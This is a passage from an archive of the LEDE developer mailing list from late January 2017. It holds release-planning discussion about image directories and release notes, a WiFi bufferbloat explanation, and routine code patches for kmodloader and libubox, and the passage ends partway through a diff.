> Hi Felix, thanks and I really appreciate your efforts to create a
> successful, stable and first LEDE release :). So if it's going to
> be disabled in that first LEDE release, that'd be fine by me.
> 
> Nevertheless, Jow or Felix, could you forward the tickets which
> seemed related to bridge multicast snooping to me? So I can check
> whether it should be disabled in Gluon, too. (we took some
> precautions with a robustness variable of 3 instead of 2 and way
> lower querier intervals in Gluon, but not sure what kind of issues
> were reported for LEDE)
Hi Linus,

here's a ticket that just confirms issues with the IGMP snooping patch:
https://bugs.lede-project.org/index.php?do=details&task_id=253#comment1477

Please follow up with the bug reporters there and let me know if you
need any help.

Thanks,

- Felix


From nbd at nbd.name  Sat Jan 28 11:20:21 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 28 Jan 2017 20:20:21 +0100
Subject: [LEDE-DEV] [PATCH] openvpn: add support for various new 2.4
 configuration options
In-Reply-To: <237fc8ed-43ed-1d13-d6a5-39ba9badff2f@gmail.com>
References: <1484603763-21334-1-git-send-email-mkroken@gmail.com>
 <237fc8ed-43ed-1d13-d6a5-39ba9badff2f@gmail.com>
Message-ID: <a3679526-009a-f4f9-b959-413163e803c4@nbd.name>

On 2017-01-28 10:30, Magnus Kroken wrote:
> Hi
> 
> On 16.01.2017 22.56, Magnus Kroken wrote:
>> Updates to openvpn.init were included in early OpenVPN 2.4 patch
>> series, but got lost along the way and were never merged.
>>
>> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
>> ---
>>  .../network/services/openvpn/files/openvpn.init    | 43 ++++++++++------------
>>  1 file changed, 19 insertions(+), 24 deletions(-)
> 
> Is it possible to apply this to 17.01 branch as well? If not, 17.01 will 
> ship with OpenVPN 2.4.0, but several new options will be unavailable 
> when using UCI to configure OpenVPN.
Done.

- Felix



From nbd at nbd.name  Sat Jan 28 11:33:45 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 28 Jan 2017 20:33:45 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: prepare jffs2 partition properly in
 factory.bin for BHR-4GRV2
In-Reply-To: <CAFnsNoSD1beuzJVYvQagmzQQ-SuSnQNqRWTOvUZNUUsHBXhkMw@mail.gmail.com>
References: <20161209085315.18636-1-naobsd@gmail.com>
 <CAFnsNoSD1beuzJVYvQagmzQQ-SuSnQNqRWTOvUZNUUsHBXhkMw@mail.gmail.com>
Message-ID: <ddc24d5f-5c84-f07a-7db4-6ec4700e0dba@nbd.name>

On 2017-01-28 17:08, Naoki FUKAUMI wrote:
> can someone handle this for 17.01?
Done.

- Felix



From richb.hanover at gmail.com  Sat Jan 28 12:49:19 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Sat, 28 Jan 2017 15:49:19 -0500
Subject: [LEDE-DEV] Finding Release snapshots/URLs for the "Release"
In-Reply-To: <79414fba-2497-ed72-1ea8-61d645cc1129@mein.io>
References: <F5EDFA9C-5B87-4F99-910C-4F0B3FEAE55D@gmail.com>
 <79414fba-2497-ed72-1ea8-61d645cc1129@mein.io>
Message-ID: <DEECEB5E-4986-4B77-A7A6-A020E4726482@gmail.com>

Hi Jo,

Thanks for all this information. I'll propagate it to the forum, since many people are asking.

> On Jan 28, 2017, at 9:35 AM, Jo-Philipp Wich <jo at mein.io> wrote:
> 
> Hi Rich,
> 
>> 1) When I got to downloads.lede-project.org, I see the following
>> directory structure: [...] I do NOT see any targets under the
>> /releases directory. Why?
> 
> I intentionally hid the "17.01-SNAPSHOTS" directory because it is not a
> fixed (as in non-moving) build, it merely reflects the build output of
> the current branch HEAD.
> 
>> 2) Why doesn't the /releases directory mirror the /snapshots
>> directory?
> 
> Because releases are structured slightly differently.

I understand now.

>> 3) I have discovered that the release images are available
>> /releases/17.01-SNAPSHOT/  Is this what we should document?
> 
> No, please do not document that particular directory, see below.

OK. I have a recommendation re: naming & directories. 

Perhaps we should create /releases/17.01.0-rc1/ now. Its sole contents (today) could be a README text file with text like this:

===== /releases/17.01.0-rc1/README.txt =====
2017-01-dd

There are no LEDE 17.01.0-rc1 build images at this time. 

However, we are building snapshots for testing in preparation for the 17.01.0-rc1 build. 
Those snapshots are saved in the hidden /releases/17.01-SNAPSHOT/ directory.

Once we create the LEDE 17.01.0-rc1 build, this directory will contain its image files and packages.
=====
 
Once the 17.01.0-rc1 files have been created, the README.txt file could be updated to say:

===== /releases/17.01.0-rc1/README.txt =====

2017-01-dd

The files in this directory are the LEDE 17.01.0-rc1 snapshots.
They are release candidates for the LEDE 17.01.0 build, and will never be updated.

However, we are building snapshots for testing in preparation for the 17.01.0-rc2 build. 
Those snapshots are saved in the hidden directory /releases/17.01-SNAPSHOT/
=====

>> 4) It's really confusing to talk about (and document) the release
>> candidates and the daily "trunk" builds. Currently, image file names
>> for stable build candidates contain the word "snapshot", while trunk
>> builds (in the /snapshots directory) do not:
> 
> Those images are not stable build candidates but merely release branch
> snapshots, thats why they contain the word "snapshot" and also why
> they're currently hidden from the toplevel directory.
> 
> I instructed the buildbot to produce tagged rc1 builds today, those will
> be true, fixed release candidate images which do not move.

How soon do you expect the /releases/17.01.0-rc1/ images to be available?

> Once built, those images will appear in /releases/17.01.0-rc1/ and
> remain unchanged. In addition to that, there will be a corresponding
> "v17.01.0-rc1" tag in the repository which can be used to reproduce this
> particular images.
> 
> The /releases/17.01.[0-9]* directories (once existing) which are not
> hidden are the ones that should be documented and referred to as fixed
> builds.
> 
>> 5) What is the naming scheme for the final 17.01 image URLs?
> 
> The RCs will be:
> 
> /releases/17.01.0-rc[0-9]*/targets/$target/$subtarget/lede-17.01.0-rc[0-9]*-r####-XXXXXXX-$target-$subtarget-*.bin
> 
> The finals will be:
> 
> /releases/17.01.0/targets/$target/$subtarget/lede-17.01.0-r####-XXXXXXX-$target-$subtarget-*.bin
> 
>> 6) When we release a new version (say, 17.06), what will those URLs
>> be?
> 
> The RCs will be:
> 
> /releases/17.06.0-rc[0-9]*/targets/$target/$subtarget/lede-17.06.0-rc[0-9]*-r####-XXXXXXX-$target-$subtarget-*.bin
> 
> The finals will be:
> 
> /releases/17.06.0/targets/$target/$subtarget/lede-17.06.0-r####-XXXXXXX-$target-$subtarget-*.bin

This is a good, and easily understood/described plan. Thanks!

Rich

>> We'll adjust the documentation to match the results of this
>> discussion. Thanks.
> 
> I appreciate your efforts on this, thank you :)
> 
> ~ Jo
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From richb.hanover at gmail.com  Sat Jan 28 12:56:23 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Sat, 28 Jan 2017 15:56:23 -0500
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
Message-ID: <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>

Hi Jaap,

> On Jan 28, 2017, at 6:36 AM, Jaap Buurman <jaapbuurman at gmail.com> wrote:
> 
> Great job on the release notes! One minor thing that I think looks
> nicer would be the removal of "nothing specific" after "improved
> performance", since it adds no additional information. But that's just
> me.

Thanks for the kind words. I left "nothing specific" there as an attempt to lure people into writing something. :-) I would expect to remove that text for the final version.

Note to other readers: I have not been following all the LEDE enhancements carefully. Please do check the Release Notes to make sure that your hard work has been represented fairly. Check out: https://lede-project.org/playground/draft-release-notes

> Also about the following: "Improvements to the WiFi stack eliminating
> bufferbloat on ath9k (and some ath10k) chipsets"
> 
> Is this about the Airtime Fairness Patch? AFAIK this is only for ath9k
> and not for ath10k? Or am I mixing things up here?

I am not sure. I was hoping someone who has been following this more closely would weigh in.

> While're talking about 17.01 anyway when are the first RCs coming out btw? :)

jow just clarified the situation for the naming of directories and image files. In that note, he also said that just switched the buildbot to produce tagged rc1 builds, so I imagine they will come out soon.

> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From chunkeey at googlemail.com  Sat Jan 28 15:43:56 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Sun, 29 Jan 2017 00:43:56 +0100
Subject: [PATCH] kmodloader: fix out-of-order module loading
Message-ID: <20170128234356.30971-1-chunkeey@googlemail.com>

Currently, kmodloader is trying to load all modules during
boot. This is because all the modules (and not just those
which start with a number) are set to probe.

Signed-off-by: Christian Lamparter <chunkeey at googlemail.com>
---
The load_modprobe() seems to be necessary, since I've also hit
a hang with 4.9 caused by nf_nat_ipv6.ko. This is because it
calls request_module for nf_conntrack_ipv6. So the order in
the /etc/modprobe.d/ files is still important.

I have the following options enabled:

CONFIG_PACKAGE_kmod-ip6tables-extra=y
CONFIG_PACKAGE_kmod-ipt-conntrack-extra=y
CONFIG_PACKAGE_kmod-ipt-ipsec=y
CONFIG_PACKAGE_kmod-ipt-nat-extra=y
CONFIG_PACKAGE_kmod-ipt-nat6=y

I fixed this by adding nf_conntrack_ipv6 to NF_CONNTRACK6
in modules/netfilter.mk. No idea if this is also a problem
on 4.4 or not.
---
 kmodloader.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 729027a..bf8c36c 100644
--- a/kmodloader.c
+++ b/kmodloader.c
@@ -933,10 +933,11 @@ static int main_loader(int argc, char **argv)
 
 			if (opts)
 				m->opts = strdup(opts);
-			m->state = PROBE;
-			if (basename(gl.gl_pathv[j])[0] - '0' <= 9)
-				load_modprobe();
 
+			if (basename(gl.gl_pathv[j])[0] - '0' <= 9) {
+				m->state = PROBE;
+				load_modprobe();
+			}
 		}
 		free(mod);
 		fclose(fp);
-- 
2.11.0



From rosenp at gmail.com  Sat Jan 28 17:11:59 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Sat, 28 Jan 2017 17:11:59 -0800
Subject: [LEDE-DEV] [PATCH] libubox: Fix -Wsign-compare and sign conversion
 warnings
Message-ID: <20170129011159.4594-1-rosenp@gmail.com>

While at it, also add -Wextra and -Wno-unused-parameter to the
CFLAGS. Compile tested on 32 and 64-bit x86.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 CMakeLists.txt |  3 +--
 base64.c       |  6 +++---
 blob.c         | 12 ++++++------
 blob.h         |  8 ++++----
 blobmsg.c      |  2 +-
 kvlist.c       |  2 +-
 usock.c        |  6 +++---
 7 files changed, 19 insertions(+), 20 deletions(-)

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 57804cf..44032df 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -3,8 +3,7 @@ INCLUDE(CheckLibraryExists)
 INCLUDE(CheckFunctionExists)
 
 PROJECT(ubox C)
-ADD_DEFINITIONS(-Os -Wall -Werror --std=gnu99 -g3 -Wmissing-declarations)
-
+ADD_DEFINITIONS(-Os -Wall -Wextra -Werror --std=gnu99 -g3 -Wmissing-declarations -Wno-unused-parameter)
 OPTION(BUILD_LUA "build Lua plugin" ON)
 OPTION(BUILD_EXAMPLES "build examples" ON)
 
diff --git a/base64.c b/base64.c
index 4186ce8..f4cb5c6 100644
--- a/base64.c
+++ b/base64.c
@@ -142,7 +142,6 @@ int b64_encode(const void *_src, size_t srclength,
 	size_t datalength = 0;
 	u_char input[3] = {0};
 	u_char output[4];
-	int i;
 
 	while (2 < srclength) {
 		input[0] = *src++;
@@ -167,7 +166,7 @@ int b64_encode(const void *_src, size_t srclength,
 	if (0 != srclength) {
 		/* Get what's left. */
 		input[0] = input[1] = input[2] = '\0';
-		for (i = 0; i < srclength; i++)
+		for (size_t i = 0; i < srclength; i++)
 			input[i] = *src++;
 
 		output[0] = input[0] >> 2;
@@ -200,7 +199,8 @@ int b64_decode(const void *_src, void *dest, size_t targsize)
 {
 	const char *src = _src;
 	unsigned char *target = dest;
-	int tarindex, state, ch;
+	int state, ch;
+	size_t tarindex;
 	u_char nextbyte;
 	char *pos;
 
diff --git a/blob.c b/blob.c
index 03d5e9c..45c3204 100644
--- a/blob.c
+++ b/blob.c
@@ -186,7 +186,7 @@ blob_nest_end(struct blob_buf *buf, void *cookie)
 	buf->head = attr;
 }
 
-static const int blob_type_minlen[BLOB_ATTR_LAST] = {
+static const size_t blob_type_minlen[BLOB_ATTR_LAST] = {
 	[BLOB_ATTR_STRING] = 1,
 	[BLOB_ATTR_INT8] = sizeof(uint8_t),
 	[BLOB_ATTR_INT16] = sizeof(uint16_t),
@@ -222,18 +222,18 @@ blob_parse(struct blob_attr *attr, struct blob_attr **data, const struct blob_at
 {
 	struct blob_attr *pos;
 	int found = 0;
-	int rem;
+	unsigned int rem;
 
 	memset(data, 0, sizeof(struct blob_attr *) * max);
 	blob_for_each_attr(pos, attr, rem) {
-		int id = blob_id(pos);
-		int len = blob_len(pos);
+		unsigned int id = blob_id(pos);
+		unsigned int len = blob_len(pos);
 
-		if (id >= max)
+		if ((int)id >= max)
 			continue;
 
 		if (info) {
-			int type = info[id].type;
+			unsigned int type = info[id].type;
 
 			if (type < BLOB_ATTR_LAST) {
 				if (!blob_check_type(blob_data(pos), len, type))
diff --git a/blob.h b/blob.h
index a092f5d..3f069da 100644
--- a/blob.h
+++ b/blob.h
@@ -154,25 +154,25 @@ blob_get_u64(const struct blob_attr *attr)
 static inline int8_t
 blob_get_int8(const struct blob_attr *attr)
 {
-	return blob_get_u8(attr);
+	return (int8_t)blob_get_u8(attr);
 }
 
 static inline int16_t
 blob_get_int16(const struct blob_attr *attr)
 {
-	return blob_get_u16(attr);
+	return (int16_t)blob_get_u16(attr);
 }
 
 static inline int32_t
 blob_get_int32(const struct blob_attr *attr)
 {
-	return blob_get_u32(attr);
+	return (int32_t)blob_get_u32(attr);
 }
 
 static inline int64_t
 blob_get_int64(const struct blob_attr *attr)
 {
-	return blob_get_u64(attr);
+	return (int64_t)blob_get_u64(attr);
 }
 
 static inline const char *
diff --git a/blobmsg.c b/blobmsg.c
index c2bb717..1eddf23 100644
--- a/blobmsg.c
+++ b/blobmsg.c
@@ -67,7 +67,7 @@ int blobmsg_check_array(const struct blob_attr *attr, int type)
 {
 	struct blob_attr *cur;
 	bool name;
-	int rem;
+	unsigned int rem;
 	int size = 0;
 
 	switch (blobmsg_type(attr)) {
diff --git a/kvlist.c b/kvlist.c
index a7b6ea0..66fc8cd 100644
--- a/kvlist.c
+++ b/kvlist.c
@@ -75,7 +75,7 @@ bool kvlist_set(struct kvlist *kv, const char *name, const void *data)
 {
 	struct kvlist_node *node;
 	char *name_buf;
-	int len = kv->get_len(kv, data);
+	size_t len = kv->get_len(kv, data);
 
 	node = calloc_a(sizeof(struct kvlist_node) + len,
 		&name_buf, strlen(name) + 1);
diff --git a/usock.c b/usock.c
index 0ce5390..c159a76 100644
--- a/usock.c
+++ b/usock.c
@@ -33,7 +33,7 @@
 #include "usock.h"
 #include "utils.h"
 
-static void usock_set_flags(int sock, unsigned int type)
+static void usock_set_flags(int sock, int type)
 {
 	if (!(type & USOCK_NOCLOEXEC))
 		fcntl(sock, F_SETFD, fcntl(sock, F_GETFD) | FD_CLOEXEC);
@@ -42,7 +42,7 @@ static void usock_set_flags(int sock, unsigned int type)
 		fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
 }
 
-static int usock_connect(int type, struct sockaddr *sa, int sa_len, int family, int socktype, bool server)
+static int usock_connect(int type, struct sockaddr *sa, socklen_t sa_len, int family, int socktype, bool server)
 {
 	int sock;
 
@@ -103,7 +103,7 @@ usock_inet_notimeout(int type, struct addrinfo *result, void *addr)
 	return -1;
 }
 
-static int poll_restart(struct pollfd *fds, int nfds, int timeout)
+static int poll_restart(struct pollfd *fds, nfds_t nfds, int timeout)
 {
 	struct timespec ts, cur;
 	int msec = timeout % 1000;
-- 
2.9.3



From rosenp at gmail.com  Sat Jan 28 17:37:55 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Sat, 28 Jan 2017 17:37:55 -0800
Subject: [LEDE-DEV] [PATCH] libubox: Fix -Wsign-compare and sign conversion
 warnings
In-Reply-To: <20170129011159.4594-1-rosenp@gmail.com>
References: <20170129011159.4594-1-rosenp@gmail.com>
Message-ID: <20170129013755.7728-1-rosenp@gmail.com>

While at it, also add -Wextra and -Wno-unused-parameter to the
CFLAGS. Compile tested on 32 and 64-bit x86.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 CMakeLists.txt |  3 +--
 base64.c       |  6 +++---
 blob.c         | 12 ++++++------
 blob.h         |  8 ++++----
 blobmsg.c      |  2 +-
 blobmsg_json.c |  4 ++--
 json_script.c  | 17 +++++++++--------
 kvlist.c       |  2 +-
 usock.c        |  6 +++---
 9 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 57804cf..44032df 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -3,8 +3,7 @@ INCLUDE(CheckLibraryExists)
 INCLUDE(CheckFunctionExists)
 
 PROJECT(ubox C)
-ADD_DEFINITIONS(-Os -Wall -Werror --std=gnu99 -g3 -Wmissing-declarations)
-
+ADD_DEFINITIONS(-Os -Wall -Wextra -Werror --std=gnu99 -g3 -Wmissing-declarations -Wno-unused-parameter)
 OPTION(BUILD_LUA "build Lua plugin" ON)
 OPTION(BUILD_EXAMPLES "build examples" ON)
 
diff --git a/base64.c b/base64.c
index 4186ce8..f4cb5c6 100644
--- a/base64.c
+++ b/base64.c
@@ -142,7 +142,6 @@ int b64_encode(const void *_src, size_t srclength,
 	size_t datalength = 0;
 	u_char input[3] = {0};
 	u_char output[4];
-	int i;
 
 	while (2 < srclength) {
 		input[0] = *src++;
@@ -167,7 +166,7 @@ int b64_encode(const void *_src, size_t srclength,
 	if (0 != srclength) {
 		/* Get what's left. */
 		input[0] = input[1] = input[2] = '\0';
-		for (i = 0; i < srclength; i++)
+		for (size_t i = 0; i < srclength; i++)
 			input[i] = *src++;
 
 		output[0] = input[0] >> 2;
@@ -200,7 +199,8 @@ int b64_decode(const void *_src, void *dest, size_t targsize)
 {
 	const char *src = _src;
 	unsigned char *target = dest;
-	int tarindex, state, ch;
+	int state, ch;
+	size_t tarindex;
 	u_char nextbyte;
 	char *pos;
 
diff --git a/blob.c b/blob.c
index 03d5e9c..45c3204 100644
--- a/blob.c
+++ b/blob.c
@@ -186,7 +186,7 @@ blob_nest_end(struct blob_buf *buf, void *cookie)
 	buf->head = attr;
 }
 
-static const int blob_type_minlen[BLOB_ATTR_LAST] = {
+static const size_t blob_type_minlen[BLOB_ATTR_LAST] = {
 	[BLOB_ATTR_STRING] = 1,
 	[BLOB_ATTR_INT8] = sizeof(uint8_t),
 	[BLOB_ATTR_INT16] = sizeof(uint16_t),
@@ -222,18 +222,18 @@ blob_parse(struct blob_attr *attr, struct blob_attr **data, const struct blob_at
 {
 	struct blob_attr *pos;
 	int found = 0;
-	int rem;
+	unsigned int rem;
 
 	memset(data, 0, sizeof(struct blob_attr *) * max);
 	blob_for_each_attr(pos, attr, rem) {
-		int id = blob_id(pos);
-		int len = blob_len(pos);
+		unsigned int id = blob_id(pos);
+		unsigned int len = blob_len(pos);
 
-		if (id >= max)
+		if ((int)id >= max)
 			continue;
 
 		if (info) {
-			int type = info[id].type;
+			unsigned int type = info[id].type;
 
 			if (type < BLOB_ATTR_LAST) {
 				if (!blob_check_type(blob_data(pos), len, type))
diff --git a/blob.h b/blob.h
index a092f5d..3f069da 100644
--- a/blob.h
+++ b/blob.h
@@ -154,25 +154,25 @@ blob_get_u64(const struct blob_attr *attr)
 static inline int8_t
 blob_get_int8(const struct blob_attr *attr)
 {
-	return blob_get_u8(attr);
+	return (int8_t)blob_get_u8(attr);
 }
 
 static inline int16_t
 blob_get_int16(const struct blob_attr *attr)
 {
-	return blob_get_u16(attr);
+	return (int16_t)blob_get_u16(attr);
 }
 
 static inline int32_t
 blob_get_int32(const struct blob_attr *attr)
 {
-	return blob_get_u32(attr);
+	return (int32_t)blob_get_u32(attr);
 }
 
 static inline int64_t
 blob_get_int64(const struct blob_attr *attr)
 {
-	return blob_get_u64(attr);
+	return (int64_t)blob_get_u64(attr);
 }
 
 static inline const char *
diff --git a/blobmsg.c b/blobmsg.c
index c2bb717..1eddf23 100644
--- a/blobmsg.c
+++ b/blobmsg.c
@@ -67,7 +67,7 @@ int blobmsg_check_array(const struct blob_attr *attr, int type)
 {
 	struct blob_attr *cur;
 	bool name;
-	int rem;
+	unsigned int rem;
 	int size = 0;
 
 	switch (blobmsg_type(attr)) {
diff --git a/blobmsg_json.c b/blobmsg_json.c
index ca9dd1a..c46890c 100644
--- a/blobmsg_json.c
+++ b/blobmsg_json.c
@@ -146,7 +146,7 @@ static bool blobmsg_puts(struct strbuf *s, const char *c, int len)
 static void add_separator(struct strbuf *s)
 {
 	const char *indent_chars = "\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t";
-	int len;
+	size_t len;
 
 	if (!s->indent)
 		return;
@@ -280,7 +280,7 @@ static void blobmsg_format_json_list(struct strbuf *s, struct blob_attr *attr, i
 {
 	struct blob_attr *pos;
 	bool first = true;
-	int rem = len;
+	unsigned int rem = len;
 
 	blobmsg_puts(s, (array ? "[" : "{" ), 1);
 	s->indent_level++;
diff --git a/json_script.c b/json_script.c
index 463aac8..2d720ae 100644
--- a/json_script.c
+++ b/json_script.c
@@ -95,7 +95,7 @@ const char *json_script_find_var(struct json_script_ctx *ctx, struct blob_attr *
 				 const char *name)
 {
 	struct blob_attr *cur;
-	int rem;
+	unsigned int rem;
 
 	blobmsg_for_each_attr(cur, vars, rem) {
 		if (blobmsg_type(cur) != BLOBMSG_TYPE_STRING)
@@ -164,7 +164,7 @@ static int handle_case(struct json_call *call, struct blob_attr *expr)
 {
 	struct blob_attr *tb[3], *cur;
 	const char *var;
-	int rem;
+	unsigned int rem;
 
 	json_get_tuple(expr, tb, BLOBMSG_TYPE_STRING, BLOBMSG_TYPE_TABLE);
 	if (!tb[1] || !tb[2])
@@ -233,7 +233,7 @@ static int expr_eq_regex(struct json_call *call, struct blob_attr *expr, bool re
 	struct json_script_ctx *ctx = call->ctx;
 	struct blob_attr *tb[3], *cur;
 	const char *var;
-	int rem;
+	unsigned int rem;
 
 	json_get_tuple(expr, tb, BLOBMSG_TYPE_STRING, 0);
 	if (!tb[1] || !tb[2])
@@ -277,7 +277,7 @@ static int handle_expr_has(struct json_call *call, struct blob_attr *expr)
 {
 	struct json_script_ctx *ctx = call->ctx;
 	struct blob_attr *tb[3], *cur;
-	int rem;
+	unsigned int rem;
 
 	json_get_tuple(expr, tb, 0, 0);
 	if (!tb[1])
@@ -306,8 +306,8 @@ static int handle_expr_has(struct json_call *call, struct blob_attr *expr)
 static int expr_and_or(struct json_call *call, struct blob_attr *expr, bool and)
 {
 	struct blob_attr *cur;
-	int ret, rem;
-	int i = 0;
+	int ret;
+	unsigned int i = 0, rem;
 
 	blobmsg_for_each_attr(cur, expr, rem) {
 		if (i++ < 1)
@@ -513,7 +513,8 @@ static int cmd_process_strings(struct json_call *call, struct blob_attr *attr)
 	struct json_script_ctx *ctx = call->ctx;
 	struct blob_attr *cur;
 	int args = -1;
-	int rem, ret;
+	int ret;
+	unsigned int rem;
 	void *c;
 
 	blob_buf_init(&ctx->buf, 0);
@@ -570,7 +571,7 @@ static int json_process_cmd(struct json_call *call, struct blob_attr *block)
 {
 	struct json_script_ctx *ctx = call->ctx;
 	struct blob_attr *cur;
-	int rem;
+	unsigned int rem;
 	int ret;
 	int i = 0;
 
diff --git a/kvlist.c b/kvlist.c
index a7b6ea0..66fc8cd 100644
--- a/kvlist.c
+++ b/kvlist.c
@@ -75,7 +75,7 @@ bool kvlist_set(struct kvlist *kv, const char *name, const void *data)
 {
 	struct kvlist_node *node;
 	char *name_buf;
-	int len = kv->get_len(kv, data);
+	size_t len = kv->get_len(kv, data);
 
 	node = calloc_a(sizeof(struct kvlist_node) + len,
 		&name_buf, strlen(name) + 1);
diff --git a/usock.c b/usock.c
index 0ce5390..c159a76 100644
--- a/usock.c
+++ b/usock.c
@@ -33,7 +33,7 @@
 #include "usock.h"
 #include "utils.h"
 
-static void usock_set_flags(int sock, unsigned int type)
+static void usock_set_flags(int sock, int type)
 {
 	if (!(type & USOCK_NOCLOEXEC))
 		fcntl(sock, F_SETFD, fcntl(sock, F_GETFD) | FD_CLOEXEC);
@@ -42,7 +42,7 @@ static void usock_set_flags(int sock, unsigned int type)
 		fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
 }
 
-static int usock_connect(int type, struct sockaddr *sa, int sa_len, int family, int socktype, bool server)
+static int usock_connect(int type, struct sockaddr *sa, socklen_t sa_len, int family, int socktype, bool server)
 {
 	int sock;
 
@@ -103,7 +103,7 @@ usock_inet_notimeout(int type, struct addrinfo *result, void *addr)
 	return -1;
 }
 
-static int poll_restart(struct pollfd *fds, int nfds, int timeout)
+static int poll_restart(struct pollfd *fds, nfds_t nfds, int timeout)
 {
 	struct timespec ts, cur;
 	int msec = timeout % 1000;
-- 
2.9.3



From weedy2887 at gmail.com  Sat Jan 28 21:33:24 2017
From: weedy2887 at gmail.com (Weedy)
Date: Sun, 29 Jan 2017 00:33:24 -0500
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
Message-ID: <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>

On 28 January 2017 at 15:56, Rich Brown <richb.hanover at gmail.com> wrote:
> Hi Jaap,
>
>> On Jan 28, 2017, at 6:36 AM, Jaap Buurman <jaapbuurman at gmail.com> wrote:
>> Also about the following: "Improvements to the WiFi stack eliminating
>> bufferbloat on ath9k (and some ath10k) chipsets"
>>
>> Is this about the Airtime Fairness Patch? AFAIK this is only for ath9k
>> and not for ath10k? Or am I mixing things up here?
>
> I am not sure. I was hoping someone who has been following this more closely would weigh in.

As far as I know the make-wifi-fast work was done in stages. Something like:
Phase 1: Reducing buffering all over the stack/drivers. Pretty sure
atk10k got some of this
Phase 2: Replace most/all txqueue stuff with fq_codel inside the
driver. I know Toke made patches for ath10k, I don't know if upstream
accepted them
Phase 3: Air time fairness stuff. Only for ath9k, and I don't know if
ath10k can ever get this since the chip firmware is basically a full
operating system and it does whatever it wants too.

NB: I'm just a user, not a dev. But I like WiFi things and try to keep informed.


From jaapbuurman at gmail.com  Sun Jan 29 00:48:08 2017
From: jaapbuurman at gmail.com (Jaap Buurman)
Date: Sun, 29 Jan 2017 09:48:08 +0100
Subject: [LEDE-DEV] LEDE-17.01 Final Release Notes available
In-Reply-To: <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
References: <CAN-r--=Om69dokmvjJ05GGQ0tAPOvConMSbGYtD1iO3W1kSCKw@mail.gmail.com>
 <3EB59FA0-C8CD-4FA2-9431-683C96BE785F@gmail.com>
 <CAFE24U1bot-XM0Lb5tBJnpRS+y=VcE_d9bZK96oZ_xdq+9FxrA@mail.gmail.com>
Message-ID: <CAN-r--nrs9o2ZQeX6rxOcteoeRDcBZqJWCc94RxK1BoSjEB0gg@mail.gmail.com>

Thank you very much for the clarification. That makes a lot of sense.
Do you happen to know where the mt76 driver stands with respect to
these different phases? I am in the market for a new router, and due
to the openness of the driver I'm currently looking at a mediatek
based platform, namely the dir-860l rev b1.

On Sun, Jan 29, 2017 at 6:33 AM, Weedy <weedy2887 at gmail.com> wrote:
> On 28 January 2017 at 15:56, Rich Brown <richb.hanover at gmail.com> wrote:
>> Hi Jaap,
>>
>>> On Jan 28, 2017, at 6:36 AM, Jaap Buurman <jaapbuurman at gmail.com> wrote:
>>> Also about the following: "Improvements to the WiFi stack eliminating
>>> bufferbloat on ath9k (and some ath10k) chipsets"
>>>
>>> Is this about the Airtime Fairness Patch? AFAIK this is only for ath9k
>>> and not for ath10k? Or am I mixing things up here?
>>
>> I am not sure. I was hoping someone who has been following this more closely would weigh in.
>
> As far as I know the make-wifi-fast work was done in stages. Something like:
> Phase 1: Reducing buffering all over the stack/drivers. Pretty sure
> atk10k got some of this
> Phase 2: Replace most/all txqueue stuff with fq_codel inside the
> driver. I know Toke made patches for ath10k, I don't know if upstream
> accepted them
> Phase 3: Air time fairness stuff. Only for ath9k, and I don't know if
> ath10k can ever get this since the chip firmware is basically a full
> operating system and it does whatever it wants too.
>
> NB: I'm just a user, not a dev. But I like WiFi things and try to keep informed.


From kevin at darbyshire-bryant.me.uk  Sun Jan 29 01:23:15 2017
From: kevin at darbyshire-bryant.me.uk (Kevin Darbyshire-Bryant)
Date: Sun, 29 Jan 2017 09:23:15 +0000
Subject: [LEDE-DEV] [PATCH ubox V3] kmodloader: support '-q' quiet option
Message-ID: <1485681795-20611-1-git-send-email-kevin@darbyshire-bryant.me.uk>

The kernel opportunistically attempts to load modules in advanced with
'predicted' module names.  Often these modules don't exist and hence
kmodloader produces lots of logfile noise.  The kernel commandline to
modprobe from kworker proceses is '-q -- modulename' where '-q' means
quiet. Support suppressing that noise.

Signed-off-by: Kevin Darbyshire-Bryant <kevin at darbyshire-bryant.me.uk>
---
V2 - style fixes
V3 - actually return non 0 return code on module not found error

 kmodloader.c | 39 +++++++++++++++++++++++++++++----------
 1 file changed, 29 insertions(+), 10 deletions(-)

diff --git a/kmodloader.c b/kmodloader.c
index 729027a..465d3de 100644
--- a/kmodloader.c
